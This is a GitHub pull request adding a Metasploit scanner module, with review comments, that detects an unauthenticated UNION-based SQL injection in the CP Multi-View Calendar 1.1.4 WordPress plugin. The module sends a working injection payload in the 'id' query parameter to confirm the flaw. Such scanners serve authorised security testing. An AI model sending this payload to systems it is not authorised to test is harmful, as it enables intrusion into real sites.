Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create wordpress_cp_calendar_sqli.rb scanner #5167

Merged
merged 2 commits into from
Apr 19, 2015
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
75 changes: 75 additions & 0 deletions modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'
require 'msf/core'

class Metasploit4 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How is wordpress, can use the Msf::HTTP::Wordpress.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not sure what this would buy me, don't need fingerprinting or authentication... Can certainly add if there is a benefit though.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@brandonprry jeah there is no benefit in this module when using the wordpress mixin. But you could include it and write a check method calling check_plugin_version_from_readme (https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/http/wordpress/version.rb#L50). But as this module only checks for the SQLI without exploiting it, the main method already acts as a "check method".

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It technically does exploit the vuln in order to check the validity of the vuln :)

It also isn't a wordpress vuln per se, just a plugin for wordpress, the version of wordpress itself doesn't matter.

In any case, I agree, the scanner is essentially its own check method.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

check_plugin_version_from_readme checks the plugins readme and extracts the version number (not the version from wordpress itself). So if you call it with check_plugin_version_from_readme('cp-multi-view-calendar', fixed_in_version) it will say vulnerable or not only determined by the plugins version

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh, I see. I misunderstood.

include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner',
'Description' => %q{
This module will scan given instances for an unauthenticated SQL injection
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
},
'Author' =>
[
'Joaquin Ramirez Martinez', #discovery
'bperry' #metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '36243'],
[ 'WPVDB', '7910' ]
],
'DisclosureDate' => 'Mar 03 2015'))

register_options([
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
], self.class)
end

def run_host(ip)
right_marker = Rex::Text.rand_text_alpha(5)
left_marker = Rex::Text.rand_text_alpha(5)
flag = Rex::Text.rand_text_alpha(5)

vprint_status("#{peer} - Checking host")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/'),
'vars_get' => {
'action' => 'data_management',
'cpmvc_do_action' => 'mvparse',
'f' => 'edit',
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
}
})

unless res && res.body
vprint_error("#{peer} - Server did not respond in an expected way")
return
end

result = res.body =~ /#{left_marker}#{flag}#{right_marker}/

if result
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use: if res.boby =~ ...

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I feel like this is more readable.

print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",
:refs => self.references.select { |ref| ref.ctx_val == "36243" }
})
end
end
end